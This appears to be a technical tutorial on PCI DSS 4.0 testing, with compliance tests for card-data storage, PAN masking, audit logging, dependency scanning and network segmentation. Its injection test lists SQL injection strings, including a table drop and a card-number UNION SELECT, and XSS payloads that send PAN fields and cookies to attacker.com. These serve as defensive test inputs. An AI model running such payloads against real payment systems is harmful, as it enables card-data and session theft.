PCI DSS Testing Guide: Security Testing for Payment Card Environments

PCI DSS Testing Guide: Security Testing for Payment Card Environments

PCI DSS (Payment Card Industry Data Security Standard) governs any organization that stores, processes, or transmits cardholder data. Version 4.0, released in 2022 and mandated from March 2025, introduced significant changes to how testing requirements are structured — moving from point-in-time assessments toward continuous monitoring and testing.

The core insight of PCI DSS 4.0 for engineers is this: testing is no longer just something that happens before a QSA (Qualified Security Assessor) visit. It's a continuous requirement. Requirement 11.3 now explicitly mandates that penetration testing be performed at least once a year and after significant infrastructure changes. Requirement 6.3.3 mandates that all software vulnerabilities are addressed via a defined process with defined timelines.

This guide covers the PCI DSS requirements that directly require engineering testing effort, shows you how to automate them, and explains how to produce evidence that satisfies both internal audits and QSA assessments.

The Cardholder Data Environment (CDE)

Before writing a single test, you need to understand scope. PCI DSS applies to your Cardholder Data Environment — the systems that store, process, or transmit Primary Account Numbers (PAN, the 16-digit card number), cardholder names, expiration dates, and service codes.

Your first engineering task is to reduce CDE scope as much as possible. The most effective scoping strategy is to never touch raw card data at all: use a PCI-validated payment processor (Stripe, Braintree, Adyen) and handle only tokens. If you do this correctly, your CDE may be limited to a few infrastructure components rather than your entire application.

Once scope is defined, your testing must cover everything in scope.

Requirement 3 — Testing Card Data Storage

PCI DSS Requirement 3 prohibits storing sensitive authentication data after authorization (CVV, PIN, full magnetic stripe) and requires that PANs be rendered unreadable in storage if they must be stored at all.

Test that PANs are not stored in plaintext

import pytest
import re
import psycopg2

PAN_PATTERN = re.compile(r'\b(?:\d[ -]?){13,16}\d\b')

class TestCardDataStorage:
    def test_database_contains_no_plaintext_pans(self, db_connection):
        """PCI DSS Req 3.5.1 — PANs must not be stored unmasked"""
        tables_to_check = [
            "orders", "transactions", "payments", "invoices",
            "receipts", "audit_logs", "event_logs"
        ]
        
        for table in tables_to_check:
            cursor = db_connection.cursor()
            cursor.execute(f"SELECT * FROM {table} LIMIT 1000")
            rows = cursor.fetchall()
            col_names = [desc[0] for desc in cursor.description]
            
            for row in rows:
                for col_name, value in zip(col_names, row):
                    if value and isinstance(value, str):
                        if PAN_PATTERN.search(value.replace(" ", "").replace("-", "")):
                            pytest.fail(
                                f"Potential PAN found in {table}.{col_name}: "
                                f"{value[:6]}{'*' * 6}{value[-4:]}"
                            )

    def test_stored_card_tokens_are_not_pans(self, db_connection):
        """Verify stored tokens follow tokenization format, not PAN format"""
        cursor = db_connection.cursor()
        cursor.execute("SELECT token FROM payment_methods WHERE token IS NOT NULL LIMIT 100")
        tokens = cursor.fetchall()
        
        for (token,) in tokens:
            # Tokens from Stripe start with 'tok_', 'pm_', or 'card_'
            # They should not match credit card patterns
            assert not PAN_PATTERN.match(token.replace(" ", "")), \
                f"Token '{token}' looks like a raw PAN"
            assert token.startswith(('tok_', 'pm_', 'card_', 'src_')), \
                f"Token '{token}' doesn't match expected tokenization format"

    def test_cvv_not_stored(self, db_connection):
        """PCI DSS Req 3.2.1 — CVV must never be stored after authorization"""
        cvv_column_names = ['cvv', 'cvc', 'cvv2', 'csc', 'security_code', 'card_verification']
        
        cursor = db_connection.cursor()
        cursor.execute("""
            SELECT table_name, column_name 
            FROM information_schema.columns 
            WHERE table_schema = 'public'
        """)
        
        all_columns = cursor.fetchall()
        cvv_columns = [
            f"{table}.{col}" 
            for table, col in all_columns 
            if col.lower() in cvv_column_names
        ]
        
        assert len(cvv_columns) == 0, \
            f"CVV storage columns found: {cvv_columns}. These must be removed."

Test that PAN masking works in APIs

describe('Requirement 3 — PAN Masking in API Responses', () => {
  test('card details endpoint returns masked PAN', async () => {
    const resp = await api.get('/payment-methods/pm_test123', {
      headers: { Authorization: `Bearer ${userToken}` }
    });
    
    const { card } = resp.data;
    
    // PCI DSS allows displaying first 6 and last 4 digits
    // Middle 6+ digits must be masked
    expect(card.pan).toMatch(/^\d{6}\*{6,}\d{4}$/);
    expect(card.pan).not.toMatch(/^\d{13,19}$/); // Must not be unmasked
  });

  test('transaction history masks PAN in all records', async () => {
    const resp = await api.get('/transactions', {
      headers: { Authorization: `Bearer ${userToken}` }
    });
    
    const transactions = resp.data.items;
    const panPattern = /\b\d{13,19}\b/;
    
    transactions.forEach(tx => {
      const txJson = JSON.stringify(tx);
      expect(txJson).not.toMatch(panPattern);
    });
  });

  test('error responses do not expose card data', async () => {
    // Trigger a card decline
    const resp = await api.post('/charges', {
      payment_method: 'pm_card_chargeCustomerFail',
      amount: 1000,
      currency: 'usd'
    }).catch(e => e.response);
    
    expect(resp.status).toBe(402);
    const body = JSON.stringify(resp.data);
    expect(body).not.toMatch(/\b\d{13,19}\b/);
  });
});

Requirement 6 — Testing for Secure Software Development

PCI DSS 4.0 Requirement 6 requires that software is developed securely, with vulnerability management for both bespoke code and third-party components.

Dependency vulnerability scanning

# .github/workflows/pci-dependency-scan.yml
name: PCI DSS Requirement 6.3.3  Dependency Vulnerability Scan
on:
  push:
    branches: [main]
  schedule:
    - cron: '0 2 * * *'  # Daily — PCI 4.0 requires timely remediation

jobs:
  dependency-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: npm audit
        run: |
          npm audit --audit-level=high
          npm audit --json > reports/npm-audit-$(date +%Y%m%d).json
      
      - name: OWASP Dependency Check
        uses: dependency-check/Dependency-Check_Action@main
        with:
          project: 'payment-service'
          path: '.'
          format: 'HTML'
          args: >
            --failOnCVSS 7
            --enableRetired
      
      - name: Upload PCI evidence
        uses: actions/upload-artifact@v3
        with:
          name: pci-dependency-scan-${{ github.run_id }}
          path: reports/
          retention-days: 400  # Keep for at least one audit period

OWASP Top 10 alignment with PCI DSS 6.2.4

PCI DSS 4.0 Requirement 6.2.4 lists specific attack types that must be prevented in all payment software. Most of them map to OWASP Top 10:

class TestOWASPAlignmentPCI:
    """PCI DSS Req 6.2.4 — Prevention of common attack vectors"""
    
    def test_sql_injection_prevented(self):
        """OWASP A03:2021 — Injection"""
        sql_payloads = [
            "'; DROP TABLE orders; --",
            "' OR '1'='1",
            "' UNION SELECT card_number FROM payment_methods --",
            "1; SELECT * FROM payment_methods"
        ]
        
        for payload in sql_payloads:
            resp = requests.get(
                f"{BASE_URL}/orders",
                params={"search": payload},
                headers={"Authorization": f"Bearer {test_token}"}
            )
            # Should return 400 or empty results, never a 500 (which would suggest
            # the payload was processed as SQL)
            assert resp.status_code != 500, \
                f"SQL injection payload '{payload}' caused a 500 error"
            data = resp.json()
            # Should not return payment data
            assert "card_number" not in str(data)

    def test_xss_prevented_in_payment_forms(self):
        """OWASP A03:2021 — XSS in payment context"""
        xss_payloads = [
            "<script>document.location='https://attacker.com?pan='+document.getElementById('pan').value</script>",
            "<img src=x onerror='fetch(\"https://attacker.com?\"+btoa(document.cookie))'>",
            "javascript:void(fetch('https://attacker.com?data='+document.cookie))"
        ]
        
        for payload in xss_payloads:
            resp = requests.post(
                f"{BASE_URL}/orders",
                json={"notes": payload, "amount": 100},
                headers={"Authorization": f"Bearer {test_token}"}
            )
            
            if resp.status_code == 201:
                order = resp.json()
                # Payload must be escaped in responses
                assert "<script>" not in order.get("notes", "")
                assert "onerror=" not in order.get("notes", "")

    def test_broken_object_level_authorization(self):
        """OWASP A01:2021 — BOLA/IDOR on payment resources"""
        # User A creates a payment method
        user_a_pm = requests.post(
            f"{BASE_URL}/payment-methods",
            json={"type": "card", "token": "tok_test"},
            headers={"Authorization": f"Bearer {user_a_token}"}
        ).json()
        
        # User B attempts to access User A's payment method
        resp = requests.get(
            f"{BASE_URL}/payment-methods/{user_a_pm['id']}",
            headers={"Authorization": f"Bearer {user_b_token}"}
        )
        
        assert resp.status_code == 403, \
            "IDOR vulnerability: User B can access User A's payment method"

Requirement 10 — Log and Monitor All Access to System Components

PCI DSS Requirement 10 is comprehensive about logging. Every access to cardholder data, every administrative action, and every security event must be logged with sufficient detail. Logs must be retained for at least 12 months, with 3 months immediately available.

describe('Requirement 10 — Audit Logging for CDE', () => {
  test('all cardholder data access is logged', async () => {
    const before = new Date();
    
    await api.get(`/payment-methods/${TEST_PM_ID}`, {
      headers: { Authorization: `Bearer ${userToken}` }
    });
    
    const after = new Date();
    
    const logs = await adminApi.get('/audit-logs', {
      params: {
        event_type: 'PAYMENT_METHOD_READ',
        start: before.toISOString(),
        end: after.toISOString()
      }
    });
    
    expect(logs.data.items).toHaveLength(1);
    
    const log = logs.data.items[0];
    // PCI DSS Req 10.3 — required log fields
    expect(log).toMatchObject({
      user_id: expect.any(String),       // 10.3.1 — user identification
      event_type: 'PAYMENT_METHOD_READ', // 10.3.2 — type of event
      date_time: expect.any(String),     // 10.3.3 — date and time
      success: true,                     // 10.3.4 — success or failure
      resource_id: TEST_PM_ID,           // 10.3.5 — affected data/resource
      ip_address: expect.any(String)     // 10.3.6 — origination
    });
  });

  test('log retention is enforced (3 months immediately available)', async () => {
    const threeMonthsAgo = new Date();
    threeMonthsAgo.setMonth(threeMonthsAgo.getMonth() - 3);
    
    const logs = await adminApi.get('/audit-logs', {
      params: {
        start: threeMonthsAgo.toISOString(),
        limit: 1
      }
    });
    
    // Logs from 3 months ago must be immediately queryable
    expect(logs.data.items.length).toBeGreaterThan(0);
  });
});

Requirement 11 — Penetration Testing

PCI DSS Requirement 11.3 mandates penetration testing at least annually. The pen test must cover both network and application layers and must test from both outside and inside the network.

For automated security testing, integrate DAST (Dynamic Application Security Testing) into your pipeline:

# .github/workflows/pci-dast.yml
name: PCI DSS Req 11  DAST Security Scan
on:
  schedule:
    - cron: '0 3 * * 0'  # Weekly Sunday night

jobs:
  zap-scan:
    runs-on: ubuntu-latest
    steps:
      - name: OWASP ZAP Baseline Scan
        uses: zaproxy/action-baseline@v0.10.0
        with:
          target: ${{ secrets.STAGING_URL }}
          rules_file_name: '.zap/pci-rules.tsv'
          cmd_options: '-a -j'
      
      - name: Upload ZAP Report as PCI Evidence
        uses: actions/upload-artifact@v3
        with:
          name: pci-pen-test-evidence-${{ github.run_id }}
          path: report_html.html
          retention-days: 400

Network Segmentation Testing

PCI DSS Requirement 1 requires that the CDE is isolated from other network segments. Testing segmentation means verifying that systems outside the CDE cannot directly reach CDE systems.

#!/bin/bash
<span class="hljs-comment"># pci-segmentation-test.sh
<span class="hljs-comment"># Run from a non-CDE host to verify CDE systems are not reachable

CDE_SYSTEMS=(
  <span class="hljs-string">"10.1.0.10"  <span class="hljs-comment"># Database server
  <span class="hljs-string">"10.1.0.11"  <span class="hljs-comment"># Application server
)

NON_CDE_HOST=<span class="hljs-string">"app-server-nonprod"
FAILURE=0

<span class="hljs-keyword">for host <span class="hljs-keyword">in <span class="hljs-string">"${CDE_SYSTEMS[@]}"; <span class="hljs-keyword">do
  <span class="hljs-built_in">echo <span class="hljs-string">"Testing reachability of CDE host: $host"
  
  <span class="hljs-comment"># Test common ports
  <span class="hljs-keyword">for port <span class="hljs-keyword">in 22 3306 5432 6379 27017; <span class="hljs-keyword">do
    result=$(nc -zv -w 2 <span class="hljs-variable">$host <span class="hljs-variable">$port 2>&1)
    <span class="hljs-keyword">if <span class="hljs-built_in">echo <span class="hljs-string">"$result" <span class="hljs-pipe">| grep -q <span class="hljs-string">"open\|succeeded"; <span class="hljs-keyword">then
      <span class="hljs-built_in">echo <span class="hljs-string">"FAIL: Non-CDE host can reach $host:<span class="hljs-variable">$port — segmentation failure!"
      FAILURE=1
    <span class="hljs-keyword">else
      <span class="hljs-built_in">echo <span class="hljs-string">"PASS: $host:<span class="hljs-variable">$port not reachable from non-CDE host"
    <span class="hljs-keyword">fi
  <span class="hljs-keyword">done
<span class="hljs-keyword">done

<span class="hljs-built_in">exit <span class="hljs-variable">$FAILURE

Generating QSA-Ready Evidence

A QSA will ask for evidence that your controls operated throughout the assessment period. Structure your evidence collection around the 12 requirements:

  1. Run compliance tests on every CI build
  2. Archive test results with timestamps as CI artifacts
  3. Configure 13-month artifact retention (covers audit period + buffer)
  4. Name artifacts with dates: pci-req6-2024-01-15-build-1234.html
  5. Maintain a control matrix that maps requirements to test files

The shift from annual pen testing to continuous automated testing is not just a compliance requirement — it's how mature engineering teams catch payment security regressions before they become incidents. A broken access control that slips through to production in a payment system isn't a compliance finding; it's a breach waiting to happen.

Read more